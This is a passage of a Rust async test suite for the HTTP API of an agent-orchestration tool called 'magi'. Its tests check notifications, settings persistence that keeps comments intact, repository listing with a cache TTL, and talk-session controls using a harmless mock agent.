8800    }
8801
8802    #[tokio::test]
8803    async fn notifications_list_read_dismiss_and_health_agree() {
8804        let fx = Fixture::start().await;
8805        let store = Notices::at(fx.home.path().join("notifications"));
8806        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8807        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8808
8809        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8810        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8811
8812        let health = fx.get("/api/health").await.json();
8813        assert_eq!(health["notifications_unread"], 2);
8814        assert_ne!(
8815            health["notifications_rev"], rev0,
8816            "the badge must move live"
8817        );
8818
8819        let listed = fx.get("/api/notifications").await.json();
8820        assert_eq!(listed["unread"], 2);
8821        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8822        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8823
8824        let read = fx
8825            .post(&format!("/api/notifications/{}/read", a.id), None)
8826            .await;
8827        assert_eq!(read.status, 200, "{}", read.body);
8828        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8829
8830        let gone = fx
8831            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8832            .await;
8833        assert_eq!(gone.status, 200, "{}", gone.body);
8834        let listed = fx.get("/api/notifications").await.json();
8835        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8836        assert_eq!(listed["unread"], 0);
8837
8838        store.raise(Notice::info("x", "again")).unwrap();
8839        let all = fx.post("/api/notifications/read-all", None).await;
8840        assert_eq!(all.status, 200, "{}", all.body);
8841        assert_eq!(all.json()["marked"], 1);
8842        assert_eq!(
8843            fx.get("/api/health").await.json()["notifications_unread"],
8844            0
8845        );
8846
8847        let missing = fx.post("/api/notifications/nope/read", None).await;
8848        assert_eq!(missing.status, 404, "{}", missing.body);
8849        assert!(missing.json()["error"].is_string());
8850    }
8851
8852    /// New work reaches the queue through `magi task add`, a standing talk's
8853    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8854    /// so the compose form and that route are gone. The tests that covered
8855    /// that route's validation went with it, and nothing was left asserting
8856    /// it stays gone — so a re-added handler would silently let the phone
8857    /// file briefs no one validated.
8858    #[tokio::test]
8859    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8860        let f = Fixture::start().await;
8861
8862        let res = f
8863            .post(
8864                "/api/queue",
8865                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8866            )
8867            .await;
8868
8869        assert_eq!(
8870            res.status, 405,
8871            "POST /api/queue must not be a route: {}",
8872            res.body
8873        );
8874        assert!(
8875            f.queue().list().is_empty(),
8876            "a task filed by a route that does not exist must not reach the disk"
8877        );
8878        // The path itself is still served — the Queue view reads it — and the
8879        // per-task controls are untouched by the entry being removed.
8880        assert_eq!(f.get("/api/queue").await.status, 200);
8881    }
8882
8883    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8884    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8885        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8886            .expect("checkout dir");
8887    }
8888
8889    /// Two command agents, so a config needs no real CLI.
8890    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8891
8892    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8893        let tmp = TempDir::new().expect("tempdir");
8894        let repo = tmp.path().join("repo");
8895        std::fs::create_dir_all(&repo).expect("repo dir");
8896        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8897        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8898        if let Some(text) = machine_toml {
8899            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8900            std::fs::write(&machine, text).expect("machine toml");
8901        }
8902        (tmp, repo, machine)
8903    }
8904
8905    #[tokio::test]
8906    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8907        let (_tmp, repo, machine) =
8908            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8909        let f = Fixture::with_repo_and_machine(repo, machine).await;
8910        let res = f.get("/api/settings").await;
8911        assert_eq!(res.status, 200, "{}", res.body);
8912        let v = res.json();
8913        assert!(v["error"].is_null(), "{v}");
8914        let role = |k: &str| {
8915            v["roles"]
8916                .as_array()
8917                .and_then(|r| r.iter().find(|x| x["key"] == k))
8918                .cloned()
8919                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8920        };
8921        assert_eq!(role("judges")["source"], "machine");
8922        assert_eq!(role("judges")["editable"], true);
8923        assert_eq!(role("implementers")["source"], "default");
8924        let adv = role("advisors");
8925        assert_eq!(adv["fallback"], "judges");
8926        assert!(
8927            adv["seats"]
8928                .as_array()
8929                .is_some_and(|s| s.iter().all(|x| x == "b")),
8930            "{adv}"
8931        );
8932        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8933        assert_eq!(v["agents"][0]["source"], "repo");
8934    }
8935
8936    #[tokio::test]
8937    async fn settings_get_reports_a_config_that_does_not_parse() {
8938        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8939        let f = Fixture::with_repo_and_machine(repo, machine).await;
8940        let res = f.get("/api/settings").await;
8941        assert_eq!(res.status, 200, "{}", res.body);
8942        let v = res.json();
8943        assert!(v["error"]["message"].is_string(), "{v}");
8944        assert!(
8945            v["error"]["path"]
8946                .as_str()
8947                .is_some_and(|p| p.ends_with("magi.toml")),
8948            "{v}"
8949        );
8950        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8951    }
8952
8953    #[tokio::test]
8954    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8955        let (_tmp, repo, machine) = settings_dirs(
8956            SETTINGS_AGENTS,
8957            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8958        );
8959        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8960        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8961        let rev = f.get("/api/settings").await.json()["revision"]
8962            .as_str()
8963            .expect("revision")
8964            .to_owned();
8965        let body = serde_json::json!({
8966            "revision": rev,
8967            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8968        })
8969        .to_string();
8970        let res = f.put("/api/settings/roles", &body).await;
8971        assert_eq!(res.status, 200, "{}", res.body);
8972        let text = std::fs::read_to_string(&machine).expect("machine");
8973        assert_eq!(
8974            text,
8975            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8976        );
8977        assert_eq!(
8978            std::fs::read(repo.join("magi.toml")).expect("read"),
8979            repo_before
8980        );
8981        let again = f.get("/api/settings").await.json();
8982        let judges = again["roles"]
8983            .as_array()
8984            .expect("roles")
8985            .iter()
8986            .find(|r| r["key"] == "judges")
8987            .expect("judges")
8988            .clone();
8989        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8990        // The old revision is now stale.
8991        let stale = f.put("/api/settings/roles", &body).await;
8992        assert_eq!(stale.status, 409, "{}", stale.body);
8993    }
8994
8995    #[tokio::test]
8996    async fn settings_counts_are_reported_and_saved() {
8997        let (_tmp, repo, machine) = settings_dirs(
8998            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8999            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9000        );
9001        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9002        let v = f.get("/api/settings").await.json();
9003        let count = |v: &serde_json::Value, k: &str| {
9004            v["roles"]
9005                .as_array()
9006                .and_then(|r| r.iter().find(|x| x["key"] == k))
9007                .map(|x| x["count"].clone())
9008                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9009        };
9010        let imp = count(&v, "implementers");
9011        assert_eq!(imp["value"], 2);
9012        assert_eq!(imp["source"], "machine");
9013        assert_eq!(imp["file_key"], "candidates");
9014        assert_eq!(imp["roster_len"], 2);
9015        assert_eq!(imp["backups"], 0);
9016        assert_eq!(count(&v, "judges")["source"], "default");
9017        assert_eq!(count(&v, "advisors")["min"], 0);
9018        assert_eq!(count(&v, "reviewers")["editable"], false);
9019        assert!(
9020            count(&v, "reviewers")["locked_reason"]
9021                .as_str()
9022                .is_some_and(|m| m.contains("graph.reviewers"))
9023        );
9024        assert!(count(&v, "fixer").is_null());
9025        let rev = v["revision"].as_str().expect("revision").to_owned();
9026        let body = serde_json::json!({
9027            "revision": rev,
9028            "roles": { "judges": ["b"] },
9029            "counts": { "implementers": 1, "advisors": 0 }
9030        })
9031        .to_string();
9032        let res = f.put("/api/settings/roles", &body).await;
9033        assert_eq!(res.status, 200, "{}", res.body);
9034        let text = std::fs::read_to_string(&machine).expect("machine");
9035        assert_eq!(
9036            text,
9037            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9038        );
9039        let after = f.get("/api/settings").await.json();
9040        assert_eq!(count(&after, "implementers")["value"], 1);
9041        assert_eq!(count(&after, "implementers")["backups"], 1);
9042        assert_eq!(count(&after, "advisors")["value"], 0);
9043        let before = std::fs::read_to_string(&machine).expect("machine");
9044        let rev = after["revision"].as_str().expect("revision").to_owned();
9045        for counts in [
9046            serde_json::json!({ "judges": 0 }),
9047            serde_json::json!({ "judges": "x" }),
9048            serde_json::json!({ "judges": 2.5 }),
9049            serde_json::json!({ "judges": -1 }),
9050            serde_json::json!({ "reviewers": 3 }),
9051            serde_json::json!({ "bogus": 3 }),
9052        ] {
9053            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9054            let res = f.put("/api/settings/roles", &body).await;
9055            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9056            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9057        }
9058    }
9059
9060    #[tokio::test]
9061    async fn settings_put_refuses_without_touching_the_file() {
9062        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9063        let (_tmp, repo, machine) = settings_dirs(
9064            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9065            Some(machine_text),
9066        );
9067        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9068        let rev = f.get("/api/settings").await.json()["revision"]
9069            .as_str()
9070            .expect("revision")
9071            .to_owned();
9072        for roles in [
9073            serde_json::json!({ "judges": ["nope"] }),
9074            serde_json::json!({ "reviewers": ["b"] }),
9075            serde_json::json!({ "bogus": ["a"] }),
9076        ] {
9077            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9078            let res = f.put("/api/settings/roles", &body).await;
9079            assert_eq!(res.status, 422, "{roles}: {}", res.body);
9080            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9081            assert_eq!(
9082                std::fs::read_to_string(&machine).expect("machine"),
9083                machine_text
9084            );
9085        }
9086    }
9087
9088    #[tokio::test]
9089    async fn repos_list_returns_name_and_path_for_every_configured_root() {
9090        let tmp = TempDir::new().expect("tempdir");
9091        let repo = tmp.path().join("repo");
9092        std::fs::create_dir_all(&repo).expect("repo dir");
9093        let root = tmp.path().join("root");
9094        make_checkout(&root, "github.com", "yukimemi", "magi");
9095        std::fs::write(
9096            repo.join("magi.toml"),
9097            format!(
9098                "[repos]\nroots = [{:?}]\n",
9099                root.to_string_lossy().into_owned()
9100            ),
9101        )
9102        .expect("write magi.toml");
9103
9104        let f = Fixture::with_repo(repo).await;
9105        let res = f.get("/api/repos").await;
9106        assert_eq!(res.status, 200, "{}", res.body);
9107        let list = res.json();
9108        let repos = list.as_array().expect("an array");
9109        assert_eq!(repos.len(), 1);
9110        assert_eq!(repos[0]["name"], "yukimemi/magi");
9111        assert!(
9112            repos[0]["path"]
9113                .as_str()
9114                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
9115            "{list}"
9116        );
9117    }
9118
9119    #[tokio::test]
9120    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
9121        let tmp = TempDir::new().expect("tempdir");
9122        let repo = tmp.path().join("repo");
9123        std::fs::create_dir_all(&repo).expect("repo dir");
9124        let root = tmp.path().join("root");
9125        make_checkout(&root, "github.com", "yukimemi", "magi");
9126        std::fs::write(
9127            repo.join("magi.toml"),
9128            format!(
9129                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
9130                root.to_string_lossy().into_owned()
9131            ),
9132        )
9133        .expect("write magi.toml");
9134
9135        let f = Fixture::with_repo(repo).await;
9136        let first = f.get("/api/repos").await;
9137        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
9138
9139        // A second checkout appears; within the TTL the cached answer must
9140        // not notice it.
9141        make_checkout(&root, "github.com", "yukimemi", "rvpm");
9142        let second = f.get("/api/repos").await;
9143        assert_eq!(
9144            second.json().as_array().map(Vec::len),
9145            Some(1),
9146            "a fresh cache must not rescan inside the TTL"
9147        );
9148
9149        let refreshed = f.get("/api/repos?refresh=1").await;
9150        assert_eq!(
9151            refreshed.json().as_array().map(Vec::len),
9152            Some(2),
9153            "an explicit refresh must rescan even inside the TTL"
9154        );
9155    }
9156
9157    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
9158    /// string, declared straight in a repository's own `magi.toml` rather
9159    /// than the operator's real roster. No real agent CLI is spawned - `sh`
9160    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
9161    /// this is safe to run over a real HTTP round trip.
9162    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
9163
9164    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
9165    /// real `Config::discover` to find an agent - `talk::begin` resolves one
9166    /// even though it takes no turn, and `talk_say` invokes one.
9167    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
9168        let tmp = TempDir::new().expect("tempdir");
9169        let repo = tmp.path().join("repo");
9170        std::fs::create_dir_all(&repo).expect("repo dir");
9171        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9172        let f = Fixture::with_repo(repo.clone()).await;
9173        (tmp, repo, f)
9174    }
9175
9176    #[tokio::test]
9177    async fn posting_a_talk_with_remembered_choices_is_soft() {
9178        let (_tmp, _repo, f) = talk_fixture().await;
9179
9180        let good = f
9181            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
9182            .await;
9183        assert_eq!(good.status, 201, "{}", good.body);
9184        assert_eq!(good.json()["persona"], "rei");
9185
9186        // Wrong values and wrong types are dropped one by one, never a 4xx.
9187        let stale = f
9188            .post(
9189                "/api/talks",
9190                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
9191            )
9192            .await;
9193        assert_eq!(stale.status, 201, "{}", stale.body);
9194        let v = stale.json();
9195        assert_eq!(v["implementers"], 1);
9196        assert_ne!(v["persona"], "nobody");
9197        let typed = f
9198            .post(
9199                "/api/talks",
9200                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
9201            )
9202            .await;
9203        assert_eq!(typed.status, 201, "{}", typed.body);
9204
9205        // The strict `agent` field still refuses an unknown id.
9206        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
9207        assert!(
9208            !strict.status.to_string().starts_with('2'),
9209            "{}",
9210            strict.body
9211        );
9212    }
9213
9214    #[tokio::test]
9215    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
9216        let (_tmp, _repo, f) = talk_fixture().await;
9217
9218        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
9219        // is the ordinary way a phone opens a talk.
9220        let opened = f.post("/api/talks", None).await;
9221        assert_eq!(opened.status, 201, "{}", opened.body);
9222        let body = opened.json();
9223        assert_eq!(body["status"], "open");
9224        assert_eq!(
9225            body["turns"].as_array().unwrap().len(),
9226            0,
9227            "opening takes no agent turn: there is nothing yet to answer"
9228        );
9229
9230        // An explicit empty object is the same request as none at all.
9231        let also_opened = f.post("/api/talks", Some("{}")).await;
9232        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9233
9234        let listed = f.get("/api/talks").await.json();
9235        assert_eq!(listed.as_array().unwrap().len(), 2);
9236    }
9237
9238    #[tokio::test]
9239    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9240        let tmp = TempDir::new().expect("tempdir");
9241        let repo = tmp.path().join("repo");
9242        std::fs::create_dir_all(&repo).expect("repo dir");
9243        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9244        std::fs::write(
9245            repo.join("magi.toml"),
9246            format!("{MOCK_AGENT_TOML}\n{second}"),
9247        )
9248        .expect("write magi.toml");
9249        let home = TempDir::new().expect("temp home");
9250        let talks = Talks::at(home.path().join("talks"));
9251        let ui = Arc::new(
9252            Ui::new(
9253                Queue::at(home.path().join("queue")),
9254                Questions::at(home.path().join("questions")),
9255                talks.clone(),
9256                home.path().join("runs"),
9257                home.path().to_path_buf(),
9258                repo.clone(),
9259            )
9260            .with_worktrees_root(home.path().join("wt")),
9261        );
9262        let cfg = config_for(&repo).await.expect("discover config");
9263        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9264        let id = talk.id.clone();
9265        let call = |agent: &str| {
9266            talk_agent(
9267                State(Arc::clone(&ui)),
9268                Path(id.clone()),
9269                Json(TalkAgent {
9270                    agent: agent.to_owned(),
9271                }),
9272            )
9273        };
9274
9275        let unknown = call("nobody").await.expect_err("unknown agent");
9276        assert_eq!(
9277            unknown.status,
9278            StatusCode::BAD_REQUEST,
9279            "{}",
9280            unknown.message
9281        );
9282
9283        {
9284            // The refused call hands its claim to a drain loop that releases
9285            // it a moment later.
9286            let mut claimed = None;
9287            for _ in 0..200 {
9288                claimed = ui.begin_talk_turn(&id).expect("claim");
9289                if claimed.is_some() {
9290                    break;
9291                }
9292                tokio::time::sleep(Duration::from_millis(10)).await;
9293            }
9294            let _busy = claimed.expect("free");
9295            let busy = call("second").await.expect_err("busy talk");
9296            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9297        }
9298        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9299
9300        let Json(view) = call("second").await.expect("switch");
9301        assert_eq!(view.talk.agent, "second");
9302        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9303        let saved = talks.get(&id).expect("reload");
9304        assert_eq!(saved.agent, "second");
9305        assert_eq!(saved.turns.len(), 1);
9306
9307        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9308            .await
9309            .expect("detail");
9310        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9311        assert_eq!(roster, ["mock", "second"]);
9312
9313        let mut closed = talks.get(&id).expect("reload");
9314        talk::close(&mut closed, &talks).expect("close");
9315        let refused = call("mock").await.expect_err("closed talk");
9316        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9317    }
9318
9319    #[tokio::test]
9320    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9321        let tmp = TempDir::new().expect("tempdir");
9322        let repo = tmp.path().join("repo");
9323        std::fs::create_dir_all(&repo).expect("repo dir");
9324        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9325        let home = TempDir::new().expect("temp home");
9326        let talks = Talks::at(home.path().join("talks"));
9327        let ui = Arc::new(
9328            Ui::new(
9329                Queue::at(home.path().join("queue")),
9330                Questions::at(home.path().join("questions")),
9331                talks.clone(),
9332                home.path().join("runs"),
9333                home.path().to_path_buf(),
9334                repo.clone(),
9335            )
9336            .with_worktrees_root(home.path().join("wt")),
9337        );
9338        let cfg = config_for(&repo).await.expect("discover config");
9339        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9340        let id = talk.id.clone();
9341        let call = |n: u8| {
9342            talk_implementers(
9343                State(Arc::clone(&ui)),
9344                Path(id.clone()),
9345                Json(TalkImplementers { implementers: n }),
9346            )
9347        };
9348
9349        for bad in [0u8, 4] {
9350            let e = call(bad).await.expect_err("out of range");
9351            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9352        }
9353        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9354
9355        {
9356            let mut claimed = None;
9357            for _ in 0..200 {
9358                claimed = ui.begin_talk_turn(&id).expect("claim");
9359                if claimed.is_some() {
9360                    break;
9361                }
9362                tokio::time::sleep(Duration::from_millis(10)).await;
9363            }
9364            let _busy = claimed.expect("free");
9365            let busy = call(2).await.expect_err("busy talk");
9366            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9367        }
9368
9369        let Json(view) = call(3).await.expect("switch");
9370        assert_eq!(view.talk.implementers, 3);
9371        assert!(talks.get(&id).expect("reload").implementers_dirty);
9372
9373        let mut closed = talks.get(&id).expect("reload");
9374        talk::close(&mut closed, &talks).expect("close");
9375        let e = call(2).await.expect_err("closed talk");
9376        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9377    }
9378
9379    #[tokio::test]
9380    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9381        let tmp = TempDir::new().expect("tempdir");
9382        let repo = tmp.path().join("repo");
9383        std::fs::create_dir_all(&repo).expect("repo dir");
9384        std::fs::write(
9385            repo.join("magi.toml"),
9386            format!(
9387                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9388            ),
9389        )
9390        .expect("write magi.toml");
9391        let home = TempDir::new().expect("temp home");
9392        let talks = Talks::at(home.path().join("talks"));
9393        let ui = Arc::new(
9394            Ui::new(
9395                Queue::at(home.path().join("queue")),
9396                Questions::at(home.path().join("questions")),
9397                talks.clone(),
9398                home.path().join("runs"),
9399                home.path().to_path_buf(),
9400                repo.clone(),
9401            )
9402            .with_worktrees_root(home.path().join("wt")),
9403        );
9404        let cfg = config_for(&repo).await.expect("discover config");
9405        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9406        let id = talk.id.clone();
9407        let call = |persona: &str| {
9408            talk_persona(
9409                State(Arc::clone(&ui)),
9410                Path(id.clone()),
9411                Json(TalkPersona {
9412                    persona: persona.to_owned(),
9413                }),
9414            )
9415        };
9416
9417        let unknown = call("nobody").await.expect_err("unknown persona");
9418        assert_eq!(
9419            unknown.status,
9420            StatusCode::BAD_REQUEST,
9421            "{}",
9422            unknown.message
9423        );
9424
9425        {
9426            let mut claimed = None;
9427            for _ in 0..200 {
9428                claimed = ui.begin_talk_turn(&id).expect("claim");
9429                if claimed.is_some() {
9430                    break;
9431                }
9432                tokio::time::sleep(Duration::from_millis(10)).await;
9433            }
9434            let _busy = claimed.expect("free");
9435            let busy = call("rei").await.expect_err("busy talk");
9436            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9437        }
9438        assert_eq!(talks.get(&id).expect("reload").persona, "");
9439
9440        let Json(view) = call("gendo").await.expect("switch to a configured persona");
9441        assert_eq!(view.talk.persona, "gendo");
9442        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9443
9444        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9445            .await
9446            .expect("detail");
9447        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9448        assert_eq!(ids.first(), Some(&"default"));
9449        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9450
9451        let Json(view) = call("default").await.expect("back to default");
9452        assert_eq!(view.talk.persona, "");
9453
9454        let mut closed = talks.get(&id).expect("reload");
9455        talk::close(&mut closed, &talks).expect("close");
9456        let refused = call("rei").await.expect_err("closed talk");
9457        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9458    }
9459
9460    #[tokio::test]
9461    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9462        let f = Fixture::start().await;
9463        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9464        let queue = f.queue();
9465        let mut mine = Task::new(
9466            "rename the loader".to_owned(),
9467            "rename the loader".to_owned(),
9468            PathBuf::from("/repo/magi"),
9469            Source::Agent {
9470                run: talk_id.clone(),
9471                node: "chat".to_owned(),
9472            },
9473        );
9474        queue.put(&mut mine).expect("file the task");
9475        let mut theirs = Task::new(
9476            "unrelated".to_owned(),
9477            "unrelated".to_owned(),
9478            PathBuf::from("/repo/magi"),
9479            Source::Human,
9480        );
9481        queue.put(&mut theirs).expect("file the task");
9482
9483        let res = f.get(&format!("/api/talks/{talk_id}")).await;
9484        assert_eq!(res.status, 200, "{}", res.body);
9485        let body = res.json();
9486        assert_eq!(
9487            body["status"], "open",
9488            "filing a task does not close a talk"
9489        );
9490        let tasks = body["tasks"].as_array().expect("tasks array");
9491        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9492        assert_eq!(tasks[0]["id"], mine.id);
9493    }
9494
9495    #[tokio::test]
9496    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9497        let (_tmp, _repo, f) = talk_fixture().await;
9498        let id = f.post("/api/talks", None).await.json()["id"]
9499            .as_str()
9500            .expect("id")
9501            .to_owned();
9502
9503        let res = f
9504            .post(
9505                &format!("/api/talks/{id}/say"),
9506                Some(r#"{"text":"what does the queue module do?"}"#),
9507            )
9508            .await;
9509        assert_eq!(res.status, 202, "{}", res.body);
9510        let queued = res.json();
9511        let turns = queued["turns"].as_array().expect("turns array");
9512        assert_eq!(
9513            turns.len(),
9514            1,
9515            "the answer reflects only what is on disk the instant it is sent, \
9516             before the agent's turn - which can run for the whole of \
9517             `[graph] timeout_talk` - has a chance to land: {queued}"
9518        );
9519        assert_eq!(turns[0]["who"], "operator");
9520        assert_eq!(turns[0]["body"], "what does the queue module do?");
9521        assert_eq!(
9522            queued["thinking"], true,
9523            "the accepted response exposes the background turn claim: {queued}"
9524        );
9525
9526        let mut turns_after = 1;
9527        for _ in 0..SETTLE_STEPS {
9528            let detail = f.get(&format!("/api/talks/{id}")).await.json();
9529            turns_after = detail["turns"].as_array().expect("turns array").len();
9530            if turns_after == 2 {
9531                break;
9532            }
9533            tokio::time::sleep(Duration::from_millis(10)).await;
9534        }
9535        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9536    }
9537
9538    /// A phone that reloads mid-request drops `talk_say`'s whole handler
9539    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
9540    /// guards against: `talk::record` used to return, and only *then* did the
9541    /// handler make a second, separate disk round trip before spawning the
9542    /// agent's reply task. A future dropped in that gap left a message
9543    /// recorded on disk with no reply task ever started and no way back short
9544    /// of a fresh message - and the gap was not even the whole story: *any*
9545    /// `.await` in this handler, including the very first one, is a point
9546    /// where a drop can land after the awaited work already finished but
9547    /// before this handler's own code resumes to act on it. `record` now
9548    /// runs inside the task `tokio::spawn` hands to the runtime before this
9549    /// handler ever awaits anything of its own again, so there is nothing
9550    /// left in *this* handler's future for a disconnect to interrupt between
9551    /// the message landing on disk and the reply task starting.
9552    ///
9553    /// A real socket disconnect cannot be relied on to land in the old gap
9554    /// from a test - over loopback, `talk_say` typically finishes before the
9555    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
9556    /// same failure mode directly: it drops the task's future at whatever
9557    /// point it has reached, exactly what axum does to the handler future,
9558    /// without needing to win a real network race. Sweeping the delay before
9559    /// aborting samples a range of points the task's execution can be at,
9560    /// including where the old code sat waiting on its second disk round
9561    /// trip - confirmed by reverting this fix locally and watching this same
9562    /// sweep catch a talk stuck with the operator's turn recorded and no
9563    /// reply ever following.
9564    #[tokio::test]
9565    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9566        let tmp = TempDir::new().expect("tempdir");
9567        let repo = tmp.path().join("repo");
9568        std::fs::create_dir_all(&repo).expect("repo dir");
9569        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9570        let home = TempDir::new().expect("temp home");
9571        let talks = Talks::at(home.path().join("talks"));
9572        let ui = Arc::new(
9573            Ui::new(
9574                Queue::at(home.path().join("queue")),
9575                Questions::at(home.path().join("questions")),
9576                talks.clone(),
9577                home.path().join("runs"),
9578                home.path().to_path_buf(),
9579                repo.clone(),
9580            )
9581            .with_worktrees_root(home.path().join("wt")),
9582        );
9583        let cfg = config_for(&repo).await.expect("discover config");
9584
9585        for delay in 0..40u32 {
9586            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9587            let id = talk.id.clone();
9588
9589            let handler = tokio::spawn(talk_say(
9590                State(Arc::clone(&ui)),
9591                Path(id.clone()),
9592                Ok(Json(NewTalkTurn {
9593                    text: "what does the queue module do?".to_owned(),
9594                    attachments: Vec::new(),
9595                })),
9596            ));
9597            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9598            handler.abort();
9599            // Wait out the abort so the next iteration's talk does not race
9600            // this one's still-unwinding turn guard.
9601            let _ = handler.await;
9602
9603            let mut turns = 0;
9604            for _ in 0..SETTLE_STEPS {
9605                if let Ok(fresh) = talks.get(&id) {
9606                    turns = fresh.turns.len();
9607                    if turns != 1 {
9608                        break;
9609                    }
9610                }
9611                tokio::time::sleep(Duration::from_millis(10)).await;
9612            }
9613            assert_ne!(
9614                turns, 1,
9615                "delay {delay}: talk {id} recorded the operator's turn but \
9616                 the agent never answered - the reply task was never \
9617                 started after the handler future was dropped"
9618            );
9619        }
9620    }
9621
9622    /// The same drop, landing on `talk_say`'s other durable write.
9623    ///
9624    /// When a turn is already running, the busy branch persists the
